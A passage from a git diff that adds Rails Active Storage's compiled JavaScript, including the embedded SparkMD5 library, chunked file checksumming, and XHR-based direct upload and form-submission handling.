+      return SparkMD5.prototype.setState.call(this, state);
+    };
+    SparkMD5.ArrayBuffer.prototype.destroy = SparkMD5.prototype.destroy;
+    SparkMD5.ArrayBuffer.prototype._finish = SparkMD5.prototype._finish;
+    SparkMD5.ArrayBuffer.hash = function(arr, raw) {
+      var hash = md51_array(new Uint8Array(arr)), ret = hex(hash);
+      return raw ? hexToBinaryString(ret) : ret;
+    };
+    return SparkMD5;
+  }));
+})(sparkMd5);
+
+var SparkMD5 = sparkMd5.exports;
+
+const fileSlice = File.prototype.slice || File.prototype.mozSlice || File.prototype.webkitSlice;
+
+class FileChecksum {
+  static create(file, callback) {
+    const instance = new FileChecksum(file);
+    instance.create(callback);
+  }
+  constructor(file) {
+    this.file = file;
+    this.chunkSize = 2097152;
+    this.chunkCount = Math.ceil(this.file.size / this.chunkSize);
+    this.chunkIndex = 0;
+  }
+  create(callback) {
+    this.callback = callback;
+    this.md5Buffer = new SparkMD5.ArrayBuffer;
+    this.fileReader = new FileReader;
+    this.fileReader.addEventListener("load", (event => this.fileReaderDidLoad(event)));
+    this.fileReader.addEventListener("error", (event => this.fileReaderDidError(event)));
+    this.readNextChunk();
+  }
+  fileReaderDidLoad(event) {
+    this.md5Buffer.append(event.target.result);
+    if (!this.readNextChunk()) {
+      const binaryDigest = this.md5Buffer.end(true);
+      const base64digest = btoa(binaryDigest);
+      this.callback(null, base64digest);
+    }
+  }
+  fileReaderDidError(event) {
+    this.callback(`Error reading ${this.file.name}`);
+  }
+  readNextChunk() {
+    if (this.chunkIndex < this.chunkCount || this.chunkIndex == 0 && this.chunkCount == 0) {
+      const start = this.chunkIndex * this.chunkSize;
+      const end = Math.min(start + this.chunkSize, this.file.size);
+      const bytes = fileSlice.call(this.file, start, end);
+      this.fileReader.readAsArrayBuffer(bytes);
+      this.chunkIndex++;
+      return true;
+    } else {
+      return false;
+    }
+  }
+}
+
+function getMetaValue(name) {
+  const element = findElement(document.head, `meta[name="${name}"]`);
+  if (element) {
+    return element.getAttribute("content");
+  }
+}
+
+function findElements(root, selector) {
+  if (typeof root == "string") {
+    selector = root;
+    root = document;
+  }
+  const elements = root.querySelectorAll(selector);
+  return toArray(elements);
+}
+
+function findElement(root, selector) {
+  if (typeof root == "string") {
+    selector = root;
+    root = document;
+  }
+  return root.querySelector(selector);
+}
+
+function dispatchEvent(element, type, eventInit = {}) {
+  const {disabled: disabled} = element;
+  const {bubbles: bubbles, cancelable: cancelable, detail: detail} = eventInit;
+  const event = document.createEvent("Event");
+  event.initEvent(type, bubbles || true, cancelable || true);
+  event.detail = detail || {};
+  try {
+    element.disabled = false;
+    element.dispatchEvent(event);
+  } finally {
+    element.disabled = disabled;
+  }
+  return event;
+}
+
+function toArray(value) {
+  if (Array.isArray(value)) {
+    return value;
+  } else if (Array.from) {
+    return Array.from(value);
+  } else {
+    return [].slice.call(value);
+  }
+}
+
+class BlobRecord {
+  constructor(file, checksum, url, customHeaders = {}) {
+    this.file = file;
+    this.attributes = {
+      filename: file.name,
+      content_type: file.type || "application/octet-stream",
+      byte_size: file.size,
+      checksum: checksum
+    };
+    this.xhr = new XMLHttpRequest;
+    this.xhr.open("POST", url, true);
+    this.xhr.responseType = "json";
+    this.xhr.setRequestHeader("Content-Type", "application/json");
+    this.xhr.setRequestHeader("Accept", "application/json");
+    this.xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+    Object.keys(customHeaders).forEach((headerKey => {
+      this.xhr.setRequestHeader(headerKey, customHeaders[headerKey]);
+    }));
+    const csrfToken = getMetaValue("csrf-token");
+    if (csrfToken != undefined) {
+      this.xhr.setRequestHeader("X-CSRF-Token", csrfToken);
+    }
+    this.xhr.addEventListener("load", (event => this.requestDidLoad(event)));
+    this.xhr.addEventListener("error", (event => this.requestDidError(event)));
+  }
+  get status() {
+    return this.xhr.status;
+  }
+  get response() {
+    const {responseType: responseType, response: response} = this.xhr;
+    if (responseType == "json") {
+      return response;
+    } else {
+      return JSON.parse(response);
+    }
+  }
+  create(callback) {
+    this.callback = callback;
+    this.xhr.send(JSON.stringify({
+      blob: this.attributes
+    }));
+  }
+  requestDidLoad(event) {
+    if (this.status >= 200 && this.status < 300) {
+      const {response: response} = this;
+      const {direct_upload: direct_upload} = response;
+      delete response.direct_upload;
+      this.attributes = response;
+      this.directUploadData = direct_upload;
+      this.callback(null, this.toJSON());
+    } else {
+      this.requestDidError(event);
+    }
+  }
+  requestDidError(event) {
+    this.callback(`Error creating Blob for "${this.file.name}". Status: ${this.status}`);
+  }
+  toJSON() {
+    const result = {};
+    for (const key in this.attributes) {
+      result[key] = this.attributes[key];
+    }
+    return result;
+  }
+}
+
+class BlobUpload {
+  constructor(blob) {
+    this.blob = blob;
+    this.file = blob.file;
+    const {url: url, headers: headers} = blob.directUploadData;
+    this.xhr = new XMLHttpRequest;
+    this.xhr.open("PUT", url, true);
+    this.xhr.responseType = "text";
+    for (const key in headers) {
+      this.xhr.setRequestHeader(key, headers[key]);
+    }
+    this.xhr.addEventListener("load", (event => this.requestDidLoad(event)));
+    this.xhr.addEventListener("error", (event => this.requestDidError(event)));
+  }
+  create(callback) {
+    this.callback = callback;
+    this.xhr.send(this.file.slice());
+  }
+  requestDidLoad(event) {
+    const {status: status, response: response} = this.xhr;
+    if (status >= 200 && status < 300) {
+      this.callback(null, response);
+    } else {
+      this.requestDidError(event);
+    }
+  }
+  requestDidError(event) {
+    this.callback(`Error storing "${this.file.name}". Status: ${this.xhr.status}`);
+  }
+}
+
+let id = 0;
+
+class DirectUpload {
+  constructor(file, url, delegate, customHeaders = {}) {
+    this.id = ++id;
+    this.file = file;
+    this.url = url;
+    this.delegate = delegate;
+    this.customHeaders = customHeaders;
+  }
+  create(callback) {
+    FileChecksum.create(this.file, ((error, checksum) => {
+      if (error) {
+        callback(error);
+        return;
+      }
+      const blob = new BlobRecord(this.file, checksum, this.url, this.customHeaders);
+      notify(this.delegate, "directUploadWillCreateBlobWithXHR", blob.xhr);
+      blob.create((error => {
+        if (error) {
+          callback(error);
+        } else {
+          const upload = new BlobUpload(blob);
+          notify(this.delegate, "directUploadWillStoreFileWithXHR", upload.xhr);
+          upload.create((error => {
+            if (error) {
+              callback(error);
+            } else {
+              callback(null, blob.toJSON());
+            }
+          }));
+        }
+      }));
+    }));
+  }
+}
+
+function notify(object, methodName, ...messages) {
+  if (object && typeof object[methodName] == "function") {
+    return object[methodName](...messages);
+  }
+}
+
+class DirectUploadController {
+  constructor(input, file) {
+    this.input = input;
+    this.file = file;
+    this.directUpload = new DirectUpload(this.file, this.url, this);
+    this.dispatch("initialize");
+  }
+  start(callback) {
+    const hiddenInput = document.createElement("input");
+    hiddenInput.type = "hidden";
+    hiddenInput.name = this.input.name;
+    this.input.insertAdjacentElement("beforebegin", hiddenInput);
+    this.dispatch("start");
+    this.directUpload.create(((error, attributes) => {
+      if (error) {
+        hiddenInput.parentNode.removeChild(hiddenInput);
+        this.dispatchError(error);
+      } else {
+        hiddenInput.value = attributes.signed_id;
+      }
+      this.dispatch("end");
+      callback(error);
+    }));
+  }
+  uploadRequestDidProgress(event) {
+    const progress = event.loaded / event.total * 90;
+    if (progress) {
+      this.dispatch("progress", {
+        progress: progress
+      });
+    }
+  }
+  get url() {
+    return this.input.getAttribute("data-direct-upload-url");
+  }
+  dispatch(name, detail = {}) {
+    detail.file = this.file;
+    detail.id = this.directUpload.id;
+    return dispatchEvent(this.input, `direct-upload:${name}`, {
+      detail: detail
+    });
+  }
+  dispatchError(error) {
+    const event = this.dispatch("error", {
+      error: error
+    });
+    if (!event.defaultPrevented) {
+      alert(error);
+    }
+  }
+  directUploadWillCreateBlobWithXHR(xhr) {
+    this.dispatch("before-blob-request", {
+      xhr: xhr
+    });
+  }
+  directUploadWillStoreFileWithXHR(xhr) {
+    this.dispatch("before-storage-request", {
+      xhr: xhr
+    });
+    xhr.upload.addEventListener("progress", (event => this.uploadRequestDidProgress(event)));
+    xhr.upload.addEventListener("loadend", (() => {
+      this.simulateResponseProgress(xhr);
+    }));
+  }
+  simulateResponseProgress(xhr) {
+    let progress = 90;
+    const startTime = Date.now();
+    const updateProgress = () => {
+      const elapsed = Date.now() - startTime;
+      const estimatedResponseTime = this.estimateResponseTime();
+      const responseProgress = Math.min(elapsed / estimatedResponseTime, 1);
+      progress = 90 + responseProgress * 9;
+      this.dispatch("progress", {
+        progress: progress
+      });
+      if (xhr.readyState !== XMLHttpRequest.DONE && progress < 99) {
+        requestAnimationFrame(updateProgress);
+      }
+    };
+    xhr.addEventListener("loadend", (() => {
+      this.dispatch("progress", {
+        progress: 100
+      });
+    }));
+    requestAnimationFrame(updateProgress);
+  }
+  estimateResponseTime() {
+    const fileSize = this.file.size;
+    const MB = 1024 * 1024;
+    if (fileSize < MB) {
+      return 1e3;
+    } else if (fileSize < 10 * MB) {
+      return 2e3;
+    } else {
+      return 3e3 + fileSize / MB * 50;
+    }
+  }
+}
+
+const inputSelector = "input[type=file][data-direct-upload-url]:not([disabled])";
+
+class DirectUploadsController {
+  constructor(form) {
+    this.form = form;
+    this.inputs = findElements(form, inputSelector).filter((input => input.files.length));
+  }
+  start(callback) {
+    const controllers = this.createDirectUploadControllers();
+    const startNextController = () => {
+      const controller = controllers.shift();
+      if (controller) {
+        controller.start((error => {
+          if (error) {
+            callback(error);
+            this.dispatch("end");
+          } else {
+            startNextController();
+          }
+        }));
+      } else {
+        callback();
+        this.dispatch("end");
+      }
+    };
+    this.dispatch("start");
+    startNextController();
+  }
+  createDirectUploadControllers() {
+    const controllers = [];
+    this.inputs.forEach((input => {
+      toArray(input.files).forEach((file => {
+        const controller = new DirectUploadController(input, file);
+        controllers.push(controller);
+      }));
+    }));
+    return controllers;
+  }
+  dispatch(name, detail = {}) {
+    return dispatchEvent(this.form, `direct-uploads:${name}`, {
+      detail: detail
+    });
+  }
+}
+
+const processingAttribute = "data-direct-uploads-processing";
+
+const submitButtonsByForm = new WeakMap;
+
+let started = false;
+
+function start() {
+  if (!started) {
+    started = true;
+    document.addEventListener("click", didClick, true);
+    document.addEventListener("submit", didSubmitForm, true);
+    document.addEventListener("ajax:before", didSubmitRemoteElement);
+  }
+}
+
+function didClick(event) {
+  const button = event.target.closest("button, input");
+  if (button && button.type === "submit" && button.form) {
+    submitButtonsByForm.set(button.form, button);
+  }
+}
+
+function didSubmitForm(event) {
+  handleFormSubmissionEvent(event);
+}
+
+function didSubmitRemoteElement(event) {
+  if (event.target.tagName == "FORM") {
+    handleFormSubmissionEvent(event);
+  }
+}
+
+function handleFormSubmissionEvent(event) {
+  const form = event.target;
+  if (form.hasAttribute(processingAttribute)) {
+    event.preventDefault();
+    return;
+  }
+  const controller = new DirectUploadsController(form);
+  const {inputs: inputs} = controller;
+  if (inputs.length) {
+    event.preventDefault();
+    form.setAttribute(processingAttribute, "");
+    inputs.forEach(disable);
+    controller.start((error => {
+      form.removeAttribute(processingAttribute);
+      if (error) {
+        inputs.forEach(enable);
+      } else {
+        submitForm(form);
+      }
+    }));
+  }
+}
+
+function submitForm(form) {
+  let button = submitButtonsByForm.get(form) || findElement(form, "input[type=submit], button[type=submit]");
+  if (button) {
+    const {disabled: disabled} = button;
+    button.disabled = false;
+    button.focus();
+    button.click();
+    button.disabled = disabled;
+  } else {
+    button = document.createElement("input");
+    button.type = "submit";
+    button.style.display = "none";
+    form.appendChild(button);
+    button.click();
+    form.removeChild(button);
+  }
+  submitButtonsByForm.delete(form);
+}
+
+function disable(input) {
+  input.disabled = true;
+}
+
+function enable(input) {
+  input.disabled = false;
+}
+
+function autostart() {
+  if (window.ActiveStorage) {
+    start();
+  }
+}
+
+setTimeout(autostart, 1);
+
+export { DirectUpload, DirectUploadController, DirectUploadsController, dispatchEvent, start };
diff --git a/activestorage/app/assets/javascripts/activestorage.js b/activestorage/app/assets/javascripts/activestorage.js
new file mode 100644
index 0000000000000..16526b87af44b
--- /dev/null
+++ b/activestorage/app/assets/javascripts/activestorage.js
@@ -0,0 +1,866 @@
+(function(global, factory) {
+  typeof exports === "object" && typeof module !== "undefined" ? factory(exports) : typeof define === "function" && define.amd ? define([ "exports" ], factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, 
+  factory(global.ActiveStorage = {}));
+})(this, (function(exports) {
+  "use strict";
+  var sparkMd5 = {
+    exports: {}
+  };
+  (function(module, exports) {
+    (function(factory) {
+      {
+        module.exports = factory();
+      }
+    })((function(undefined$1) {
+      var hex_chr = [ "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f" ];
+      function md5cycle(x, k) {
+        var a = x[0], b = x[1], c = x[2], d = x[3];
+        a += (b & c | ~b & d) + k[0] - 680876936 | 0;
+        a = (a << 7 | a >>> 25) + b | 0;
+        d += (a & b | ~a & c) + k[1] - 389564586 | 0;
+        d = (d << 12 | d >>> 20) + a | 0;
+        c += (d & a | ~d & b) + k[2] + 606105819 | 0;
+        c = (c << 17 | c >>> 15) + d | 0;
+        b += (c & d | ~c & a) + k[3] - 1044525330 | 0;
+        b = (b << 22 | b >>> 10) + c | 0;
+        a += (b & c | ~b & d) + k[4] - 176418897 | 0;
+        a = (a << 7 | a >>> 25) + b | 0;
+        d += (a & b | ~a & c) + k[5] + 1200080426 | 0;
+        d = (d << 12 | d >>> 20) + a | 0;
+        c += (d & a | ~d & b) + k[6] - 1473231341 | 0;
+        c = (c << 17 | c >>> 15) + d | 0;
+        b += (c & d | ~c & a) + k[7] - 45705983 | 0;
+        b = (b << 22 | b >>> 10) + c | 0;
+        a += (b & c | ~b & d) + k[8] + 1770035416 | 0;
+        a = (a << 7 | a >>> 25) + b | 0;
+        d += (a & b | ~a & c) + k[9] - 1958414417 | 0;
+        d = (d << 12 | d >>> 20) + a | 0;
+        c += (d & a | ~d & b) + k[10] - 42063 | 0;
+        c = (c << 17 | c >>> 15) + d | 0;
+        b += (c & d | ~c & a) + k[11] - 1990404162 | 0;
+        b = (b << 22 | b >>> 10) + c | 0;
+        a += (b & c | ~b & d) + k[12] + 1804603682 | 0;
+        a = (a << 7 | a >>> 25) + b | 0;
+        d += (a & b | ~a & c) + k[13] - 40341101 | 0;
+        d = (d << 12 | d >>> 20) + a | 0;
+        c += (d & a | ~d & b) + k[14] - 1502002290 | 0;
+        c = (c << 17 | c >>> 15) + d | 0;
+        b += (c & d | ~c & a) + k[15] + 1236535329 | 0;
+        b = (b << 22 | b >>> 10) + c | 0;
+        a += (b & d | c & ~d) + k[1] - 165796510 | 0;
+        a = (a << 5 | a >>> 27) + b | 0;
+        d += (a & c | b & ~c) + k[6] - 1069501632 | 0;
+        d = (d << 9 | d >>> 23) + a | 0;
+        c += (d & b | a & ~b) + k[11] + 643717713 | 0;
+        c = (c << 14 | c >>> 18) + d | 0;
+        b += (c & a | d & ~a) + k[0] - 373897302 | 0;
+        b = (b << 20 | b >>> 12) + c | 0;
+        a += (b & d | c & ~d) + k[5] - 701558691 | 0;
+        a = (a << 5 | a >>> 27) + b | 0;
+        d += (a & c | b & ~c) + k[10] + 38016083 | 0;
+        d = (d << 9 | d >>> 23) + a | 0;
+        c += (d & b | a & ~b) + k[15] - 660478335 | 0;
+        c = (c << 14 | c >>> 18) + d | 0;
+        b += (c & a | d & ~a) + k[4] - 405537848 | 0;
+        b = (b << 20 | b >>> 12) + c | 0;
+        a += (b & d | c & ~d) + k[9] + 568446438 | 0;
+        a = (a << 5 | a >>> 27) + b | 0;
+        d += (a & c | b & ~c) + k[14] - 1019803690 | 0;
+        d = (d << 9 | d >>> 23) + a | 0;
+        c += (d & b | a & ~b) + k[3] - 187363961 | 0;
+        c = (c << 14 | c >>> 18) + d | 0;
+        b += (c & a | d & ~a) + k[8] + 1163531501 | 0;
+        b = (b << 20 | b >>> 12) + c | 0;
+        a += (b & d | c & ~d) + k[13] - 1444681467 | 0;
+        a = (a << 5 | a >>> 27) + b | 0;
+        d += (a & c | b & ~c) + k[2] - 51403784 | 0;
+        d = (d << 9 | d >>> 23) + a | 0;
+        c += (d & b | a & ~b) + k[7] + 1735328473 | 0;
+        c = (c << 14 | c >>> 18) + d | 0;
+        b += (c & a | d & ~a) + k[12] - 1926607734 | 0;
+        b = (b << 20 | b >>> 12) + c | 0;
+        a += (b ^ c ^ d) + k[5] - 378558 | 0;
+        a = (a << 4 | a >>> 28) + b | 0;
+        d += (a ^ b ^ c) + k[8] - 2022574463 | 0;
+        d = (d << 11 | d >>> 21) + a | 0;
+        c += (d ^ a ^ b) + k[11] + 1839030562 | 0;
+        c = (c << 16 | c >>> 16) + d | 0;
+        b += (c ^ d ^ a) + k[14] - 35309556 | 0;
+        b = (b << 23 | b >>> 9) + c | 0;
+        a += (b ^ c ^ d) + k[1] - 1530992060 | 0;
+        a = (a << 4 | a >>> 28) + b | 0;
+        d += (a ^ b ^ c) + k[4] + 1272893353 | 0;
+        d = (d << 11 | d >>> 21) + a | 0;
+        c += (d ^ a ^ b) + k[7] - 155497632 | 0;
+        c = (c << 16 | c >>> 16) + d | 0;
+        b += (c ^ d ^ a) + k[10] - 1094730640 | 0;
+        b = (b << 23 | b >>> 9) + c | 0;
+        a += (b ^ c ^ d) + k[13] + 681279174 | 0;
+        a = (a << 4 | a >>> 28) + b | 0;
+        d += (a ^ b ^ c) + k[0] - 358537222 | 0;
+        d = (d << 11 | d >>> 21) + a | 0;
+        c += (d ^ a ^ b) + k[3] - 722521979 | 0;
+        c = (c << 16 | c >>> 16) + d | 0;
+        b += (c ^ d ^ a) + k[6] + 76029189 | 0;
+        b = (b << 23 | b >>> 9) + c | 0;
+        a += (b ^ c ^ d) + k[9] - 640364487 | 0;
+        a = (a << 4 | a >>> 28) + b | 0;
+        d += (a ^ b ^ c) + k[12] - 421815835 | 0;
+        d = (d << 11 | d >>> 21) + a | 0;
+        c += (d ^ a ^ b) + k[15] + 530742520 | 0;
+        c = (c << 16 | c >>> 16) + d | 0;
+        b += (c ^ d ^ a) + k[2] - 995338651 | 0;
+        b = (b << 23 | b >>> 9) + c | 0;
+        a += (c ^ (b | ~d)) + k[0] - 198630844 | 0;
+        a = (a << 6 | a >>> 26) + b | 0;
+        d += (b ^ (a | ~c)) + k[7] + 1126891415 | 0;
+        d = (d << 10 | d >>> 22) + a | 0;
+        c += (a ^ (d | ~b)) + k[14] - 1416354905 | 0;
+        c = (c << 15 | c >>> 17) + d | 0;
+        b += (d ^ (c | ~a)) + k[5] - 57434055 | 0;
+        b = (b << 21 | b >>> 11) + c | 0;
+        a += (c ^ (b | ~d)) + k[12] + 1700485571 | 0;
+        a = (a << 6 | a >>> 26) + b | 0;
+        d += (b ^ (a | ~c)) + k[3] - 1894986606 | 0;
+        d = (d << 10 | d >>> 22) + a | 0;
+        c += (a ^ (d | ~b)) + k[10] - 1051523 | 0;
+        c = (c << 15 | c >>> 17) + d | 0;
+        b += (d ^ (c | ~a)) + k[1] - 2054922799 | 0;
+        b = (b << 21 | b >>> 11) + c | 0;
+        a += (c ^ (b | ~d)) + k[8] + 1873313359 | 0;
+        a = (a << 6 | a >>> 26) + b | 0;
+        d += (b ^ (a | ~c)) + k[15] - 30611744 | 0;
+        d = (d << 10 | d >>> 22) + a | 0;
+        c += (a ^ (d | ~b)) + k[6] - 1560198380 | 0;
+        c = (c << 15 | c >>> 17) + d | 0;
+        b += (d ^ (c | ~a)) + k[13] + 1309151649 | 0;
+        b = (b << 21 | b >>> 11) + c | 0;
+        a += (c ^ (b | ~d)) + k[4] - 145523070 | 0;
+        a = (a << 6 | a >>> 26) + b | 0;
+        d += (b ^ (a | ~c)) + k[11] - 1120210379 | 0;
+        d = (d << 10 | d >>> 22) + a | 0;
+        c += (a ^ (d | ~b)) + k[2] + 718787259 | 0;
+        c = (c << 15 | c >>> 17) + d | 0;
+        b += (d ^ (c | ~a)) + k[9] - 343485551 | 0;
+        b = (b << 21 | b >>> 11) + c | 0;
+        x[0] = a + x[0] | 0;
+        x[1] = b + x[1] | 0;
+        x[2] = c + x[2] | 0;
+        x[3] = d + x[3] | 0;
+      }
+      function md5blk(s) {
+        var md5blks = [], i;
+        for (i = 0; i < 64; i += 4) {
+          md5blks[i >> 2] = s.charCodeAt(i) + (s.charCodeAt(i + 1) << 8) + (s.charCodeAt(i + 2) << 16) + (s.charCodeAt(i + 3) << 24);
+        }
+        return md5blks;
+      }
+      function md5blk_array(a) {
+        var md5blks = [], i;
+        for (i = 0; i < 64; i += 4) {
+          md5blks[i >> 2] = a[i] + (a[i + 1] << 8) + (a[i + 2] << 16) + (a[i + 3] << 24);
+        }
+        return md5blks;
+      }
+      function md51(s) {
+        var n = s.length, state = [ 1732584193, -271733879, -1732584194, 271733878 ], i, length, tail, tmp, lo, hi;
+        for (i = 64; i <= n; i += 64) {
+          md5cycle(state, md5blk(s.substring(i - 64, i)));
+        }
+        s = s.substring(i - 64);
+        length = s.length;
+        tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ];
+        for (i = 0; i < length; i += 1) {
+          tail[i >> 2] |= s.charCodeAt(i) << (i % 4 << 3);
+        }
+        tail[i >> 2] |= 128 << (i % 4 << 3);
+        if (i > 55) {
+          md5cycle(state, tail);
+          for (i = 0; i < 16; i += 1) {
+            tail[i] = 0;
+          }
+        }
+        tmp = n * 8;
+        tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+        lo = parseInt(tmp[2], 16);
+        hi = parseInt(tmp[1], 16) || 0;
+        tail[14] = lo;
+        tail[15] = hi;
+        md5cycle(state, tail);
+        return state;
+      }
+      function md51_array(a) {
+        var n = a.length, state = [ 1732584193, -271733879, -1732584194, 271733878 ], i, length, tail, tmp, lo, hi;
+        for (i = 64; i <= n; i += 64) {
+          md5cycle(state, md5blk_array(a.subarray(i - 64, i)));
+        }
+        a = i - 64 < n ? a.subarray(i - 64) : new Uint8Array(0);
+        length = a.length;
+        tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ];
+        for (i = 0; i < length; i += 1) {
+          tail[i >> 2] |= a[i] << (i % 4 << 3);
+        }
+        tail[i >> 2] |= 128 << (i % 4 << 3);
+        if (i > 55) {
+          md5cycle(state, tail);
+          for (i = 0; i < 16; i += 1) {
+            tail[i] = 0;
+          }
+        }
+        tmp = n * 8;
+        tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+        lo = parseInt(tmp[2], 16);
+        hi = parseInt(tmp[1], 16) || 0;
+        tail[14] = lo;
+        tail[15] = hi;
+        md5cycle(state, tail);
+        return state;
+      }
+      function rhex(n) {
+        var s = "", j;
+        for (j = 0; j < 4; j += 1) {
+          s += hex_chr[n >> j * 8 + 4 & 15] + hex_chr[n >> j * 8 & 15];
+        }
+        return s;
+      }
+      function hex(x) {
+        var i;
+        for (i = 0; i < x.length; i += 1) {
+          x[i] = rhex(x[i]);
+        }
+        return x.join("");
+      }
+      if (hex(md51("hello")) !== "5d41402abc4b2a76b9719d911017c592") ;
+      if (typeof ArrayBuffer !== "undefined" && !ArrayBuffer.prototype.slice) {
+        (function() {
+          function clamp(val, length) {
+            val = val | 0 || 0;
+            if (val < 0) {
+              return Math.max(val + length, 0);
+            }
+            return Math.min(val, length);
+          }
+          ArrayBuffer.prototype.slice = function(from, to) {
+            var length = this.byteLength, begin = clamp(from, length), end = length, num, target, targetArray, sourceArray;
+            if (to !== undefined$1) {
+              end = clamp(to, length);
+            }
+            if (begin > end) {
+              return new ArrayBuffer(0);
+            }
+            num = end - begin;
+            target = new ArrayBuffer(num);
+            targetArray = new Uint8Array(target);
+            sourceArray = new Uint8Array(this, begin, num);
+            targetArray.set(sourceArray);
+            return target;
+          };
+        })();
+      }
+      function toUtf8(str) {
+        if (/[\u0080-\uFFFF]/.test(str)) {
+          str = unescape(encodeURIComponent(str));
+        }
+        return str;
+      }
+      function utf8Str2ArrayBuffer(str, returnUInt8Array) {
+        var length = str.length, buff = new ArrayBuffer(length), arr = new Uint8Array(buff), i;
+        for (i = 0; i < length; i += 1) {
+          arr[i] = str.charCodeAt(i);
+        }
+        return returnUInt8Array ? arr : buff;
+      }
+      function arrayBuffer2Utf8Str(buff) {
+        return String.fromCharCode.apply(null, new Uint8Array(buff));
+      }
+      function concatenateArrayBuffers(first, second, returnUInt8Array) {
+        var result = new Uint8Array(first.byteLength + second.byteLength);
+        result.set(new Uint8Array(first));
+        result.set(new Uint8Array(second), first.byteLength);
+        return returnUInt8Array ? result : result.buffer;
+      }
+      function hexToBinaryString(hex) {
+        var bytes = [], length = hex.length, x;
+        for (x = 0; x < length - 1; x += 2) {
+          bytes.push(parseInt(hex.substr(x, 2), 16));
+        }
+        return String.fromCharCode.apply(String, bytes);
+      }
+      function SparkMD5() {
+        this.reset();
+      }
+      SparkMD5.prototype.append = function(str) {
+        this.appendBinary(toUtf8(str));
+        return this;
+      };
+      SparkMD5.prototype.appendBinary = function(contents) {
+        this._buff += contents;
+        this._length += contents.length;
+        var length = this._buff.length, i;
+        for (i = 64; i <= length; i += 64) {
+          md5cycle(this._hash, md5blk(this._buff.substring(i - 64, i)));
+        }
+        this._buff = this._buff.substring(i - 64);
+        return this;
+      };
+      SparkMD5.prototype.end = function(raw) {
+        var buff = this._buff, length = buff.length, i, tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], ret;
+        for (i = 0; i < length; i += 1) {
+          tail[i >> 2] |= buff.charCodeAt(i) << (i % 4 << 3);
+        }
+        this._finish(tail, length);
+        ret = hex(this._hash);
+        if (raw) {
+          ret = hexToBinaryString(ret);
+        }
+        this.reset();
+        return ret;
+      };
+      SparkMD5.prototype.reset = function() {
+        this._buff = "";
+        this._length = 0;
+        this._hash = [ 1732584193, -271733879, -1732584194, 271733878 ];
+        return this;
+      };
+      SparkMD5.prototype.getState = function() {
+        return {
+          buff: this._buff,
+          length: this._length,
+          hash: this._hash.slice()
+        };
+      };
+      SparkMD5.prototype.setState = function(state) {
+        this._buff = state.buff;
+        this._length = state.length;
+        this._hash = state.hash;
+        return this;
+      };
+      SparkMD5.prototype.destroy = function() {
+        delete this._hash;
+        delete this._buff;
+        delete this._length;
+      };
+      SparkMD5.prototype._finish = function(tail, length) {
+        var i = length, tmp, lo, hi;
+        tail[i >> 2] |= 128 << (i % 4 << 3);
+        if (i > 55) {
+          md5cycle(this._hash, tail);
+          for (i = 0; i < 16; i += 1) {
+            tail[i] = 0;
+          }
+        }
+        tmp = this._length * 8;
+        tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+        lo = parseInt(tmp[2], 16);
+        hi = parseInt(tmp[1], 16) || 0;
+        tail[14] = lo;
+        tail[15] = hi;
+        md5cycle(this._hash, tail);
+      };
+      SparkMD5.hash = function(str, raw) {
+        return SparkMD5.hashBinary(toUtf8(str), raw);
+      };
+      SparkMD5.hashBinary = function(content, raw) {
+        var hash = md51(content), ret = hex(hash);
+        return raw ? hexToBinaryString(ret) : ret;
+      };
+      SparkMD5.ArrayBuffer = function() {
+        this.reset();
+      };
+      SparkMD5.ArrayBuffer.prototype.append = function(arr) {
+        var buff = concatenateArrayBuffers(this._buff.buffer, arr, true), length = buff.length, i;
+        this._length += arr.byteLength;
+        for (i = 64; i <= length; i += 64) {
+          md5cycle(this._hash, md5blk_array(buff.subarray(i - 64, i)));
+        }
+        this._buff = i - 64 < length ? new Uint8Array(buff.buffer.slice(i - 64)) : new Uint8Array(0);
+        return this;
+      };
+      SparkMD5.ArrayBuffer.prototype.end = function(raw) {
+        var buff = this._buff, length = buff.length, tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], i, ret;
+        for (i = 0; i < length; i += 1) {
+          tail[i >> 2] |= buff[i] << (i % 4 << 3);
+        }
+        this._finish(tail, length);
+        ret = hex(this._hash);
+        if (raw) {
+          ret = hexToBinaryString(ret);
+        }
+        this.reset();
+        return ret;
+      };
+      SparkMD5.ArrayBuffer.prototype.reset = function() {
+        this._buff = new Uint8Array(0);
+        this._length = 0;
+        this._hash = [ 1732584193, -271733879, -1732584194, 271733878 ];
+        return this;
+      };
+      SparkMD5.ArrayBuffer.prototype.getState = function() {
+        var state = SparkMD5.prototype.getState.call(this);
+        state.buff = arrayBuffer2Utf8Str(state.buff);
+        return state;
+      };
+      SparkMD5.ArrayBuffer.prototype.setState = function(state) {
+        state.buff = utf8Str2ArrayBuffer(state.buff, true);
+        return SparkMD5.prototype.setState.call(this, state);
+      };
+      SparkMD5.ArrayBuffer.prototype.destroy = SparkMD5.prototype.destroy;
+      SparkMD5.ArrayBuffer.prototype._finish = SparkMD5.prototype._finish;
+      SparkMD5.ArrayBuffer.hash = function(arr, raw) {
+        var hash = md51_array(new Uint8Array(arr)), ret = hex(hash);
+        return raw ? hexToBinaryString(ret) : ret;
+      };
+      return SparkMD5;
+    }));
+  })(sparkMd5);
+  var SparkMD5 = sparkMd5.exports;
+  const fileSlice = File.prototype.slice || File.prototype.mozSlice || File.prototype.webkitSlice;
+  class FileChecksum {
+    static create(file, callback) {
+      const instance = new FileChecksum(file);
+      instance.create(callback);
+    }
+    constructor(file) {
+      this.file = file;
+      this.chunkSize = 2097152;
+      this.chunkCount = Math.ceil(this.file.size / this.chunkSize);
+      this.chunkIndex = 0;
+    }
+    create(callback) {
+      this.callback = callback;
+      this.md5Buffer = new SparkMD5.ArrayBuffer;
+      this.fileReader = new FileReader;
+      this.fileReader.addEventListener("load", (event => this.fileReaderDidLoad(event)));
+      this.fileReader.addEventListener("error", (event => this.fileReaderDidError(event)));
+      this.readNextChunk();
+    }
+    fileReaderDidLoad(event) {
+      this.md5Buffer.append(event.target.result);
+      if (!this.readNextChunk()) {
